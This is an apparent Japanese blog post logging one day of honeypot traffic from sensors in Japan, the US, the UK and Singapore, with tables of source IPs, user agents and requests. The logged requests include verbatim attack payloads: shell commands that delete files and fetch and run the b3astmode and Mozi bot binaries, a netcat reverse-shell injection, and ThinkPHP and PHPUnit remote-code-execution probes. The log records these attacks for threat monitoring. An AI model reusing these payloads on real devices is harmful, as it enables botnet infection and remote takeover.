2020/09/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/09/11分です。

特徴

Location：JP

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Nucleiによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 149.3.170.181/beastmode/b3astmode;
chmod 777 /tmp/b3astmode;
sh /tmp/b3astmode BeastMode.Rep.Jaws

Location：US

GoAhead IP Cameraの脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
IDBTE4M CODE87によるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
Gh0stRATのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 149.3.170.181/beastmode/b3astmode;
chmod 777 /tmp/b3astmode;
sh /tmp/b3astmode BeastMode.Rep.Jaws

cd /tmp;
rm -rf *;
wget 167.172.242.42/beastmode/b3astmode.arm7;
chmod 777 /tmp/b3astmode.arm7;
sh /tmp/b3astmode.arm7 BeastMode.Rep.Jaws

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：UK

GoAhead IP Cameraの脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 149.3.170.181/beastmode/b3astmode;
chmod 777 /tmp/b3astmode;
sh /tmp/b3astmode BeastMode.Rep.Jaws

cd /tmp;
rm -rf *;
wget http[:]//116[.]75[.]212[.]251:47014/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：SG

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 149.3.170.181/beastmode/b3astmode;
chmod 777 /tmp/b3astmode;
sh /tmp/b3astmode BeastMode.Rep.Jaws

他

アクセス数推移

JP：総アクセス数：144 (前日比：-3)
US：総アクセス数：55 (前日比：+33)
UK：総アクセス数：22 (前日比：-9)
SG：総アクセス数：31 (前日比：-14)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	13.75.93.108	United States
1	36.71.232.98	Indonesia
1	41.232.158.62	Egypt
3	45.148.10.28	Italy
10	61.161.86.195	China
1	61.219.11.153	Taiwan
1	102.43.178.108	Egypt
101	114.235.230.78	China
1	120.59.125.225	India
1	137.116.35.39	United States
1	156.221.111.104	Egypt
1	162.243.130.68	United States
5	185.100.87.245	Romania
2	188.131.231.108	China
1	192.199.204.121	Canada
1	193.118.53.202	Germany
12	195.54.160.21	Russia

UserAgent一覧

件数	UserAgent
2	-
1	Go-http-client/1.1
3	Hello, world
5	Mozilla/5.0 (Android 7.0; Mobile; LG-M150; rv:68.0) Gecko/68.0 Firefox/68.0
101	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
3	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 zgrab/0.x
1	Nuclei - Open-source project (github.com/projectdiscovery/nuclei)

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
3	GET	/.env	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/application/configs/application.ini	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/evox/about	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
2	GET	/index.php	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/nmaplowercheck1599684803	HTTP/1.1
101	GET	/phpmyadmin/	HTTP/1.1
1	GET	/phpmyadmin/index.php	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+149.3.170.181/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
2	POST	/api/jsonws/invoke	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
1	POST	/sdk	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	27.6.92.137	India
10	41.155.205.64	Egypt
3	45.148.10.28	Italy
1	61.219.11.153	Taiwan
1	66.240.205.34	United States
3	89.248.166.183	Netherlands
2	94.102.51.119	Netherlands
2	102.43.69.94	Egypt
1	129.146.190.190	United States
1	137.116.35.39	United States
1	156.206.210.80	Egypt
1	156.215.47.153	Egypt
1	162.243.128.122	United States
1	183.106.43.239	South Korea
1	188.169.45.115	Georgia
1	192.241.228.6	United States
2	193.118.53.202	Germany
14	195.54.160.21	Russia
1	197.61.21.201	Egypt
1	202.83.42.163	India
6	212.64.69.194	China

UserAgent一覧

件数	UserAgent
6	-
1	Go-http-client/1.1
2	Hello, World
7	Hello, world
1	IDBTE4M CODE87
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
14	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
15	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		Gh0st\xad
2	GET	/.env	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
2	GET	/TP/html/public/index.php	HTTP/1.1
2	GET	/TP/index.php	HTTP/1.1
2	GET	/TP/public/index.php	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/ftptest.cgi?loginuse=&loginpas=	HTTP/1.1
2	GET	/html/public/index.php	HTTP/1.1
1	GET	/hudson	HTTP/1.1
1	GET	/index.php	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
2	GET	/public/index.php	HTTP/1.1
1	GET	/set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+89.248.166.183+1245+-e+%2Fbin%2Fsh%29	HTTP/1.1
5	GET	/shell?cd+/tmp;rm+-rf+*;wget+149.3.170.181/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+167.172.242.42/beastmode/b3astmode.arm7;chmod+777+/tmp/b3astmode.arm7;sh+/tmp/b3astmode.arm7+BeastMode.Rep.Jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
2	GET	/thinkphp/html/public/index.php	HTTP/1.1
2	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/webfig/	HTTP/1.1
1	GET	login.cgi	HTTP/1.1
1	HEAD	/	HTTP/1.0
2	POST	/GponForm/diag_Form?images/	HTTP/1.1
2	POST	/api/jsonws/invoke	HTTP/1.1
4	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	23.90.145.46	United States
1	41.233.212.1	Egypt
1	41.238.57.94	Egypt
1	45.148.10.28	Italy
3	89.248.166.183	Netherlands
1	92.63.194.47	Russia
1	102.41.37.213	Egypt
1	102.42.52.238	Egypt
1	116.74.70.84	India
1	116.75.212.251	India
1	192.241.224.234	United States
1	192.241.238.63	United States
1	193.118.53.210	Germany
7	195.54.160.21	Russia

UserAgent一覧

件数	UserAgent
5	-
1	Hello, World
5	Hello, world
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
7	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		\x03
1		\x16\x03\x01
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/ftptest.cgi?loginuse=&loginpas=	HTTP/1.1
1	GET	/hudson	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+89.248.166.183+1245+-e+%2Fbin%2Fsh%29	HTTP/1.1
4	GET	/shell?cd+/tmp;rm+-rf+*;wget+149.3.170.181/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//116[.]75[.]212[.]251:47014/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	login.cgi	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	45.148.10.28	Italy
1	47.103.87.146	China
1	61.219.11.153	Taiwan
3	89.248.172.90	Netherlands
1	102.43.72.240	Egypt
1	102.44.253.209	Egypt
1	128.14.133.58	United States
1	192.241.235.193	United States
1	193.118.53.194	Germany
14	195.54.160.21	Russia
1	197.46.131.167	Egypt
5	208.100.26.231	United States

UserAgent一覧

件数	UserAgent
3	-
3	Hello, world
5	Mozilla/5.0 (Linux; Android 10; Moto G5 Plus (XT1681)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Mobile Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
14	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
3		-
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/evox/about	HTTP/1.1
1	GET	/hudson	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/nmaplowercheck1599705394	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+149.3.170.181/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
2	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/webfig/	HTTP/1.1
1	GET	http[:]//httpheader[.]net/azenv.php	HTTP/1.1
1	HEAD	/	HTTP/1.1
2	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/sdk	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1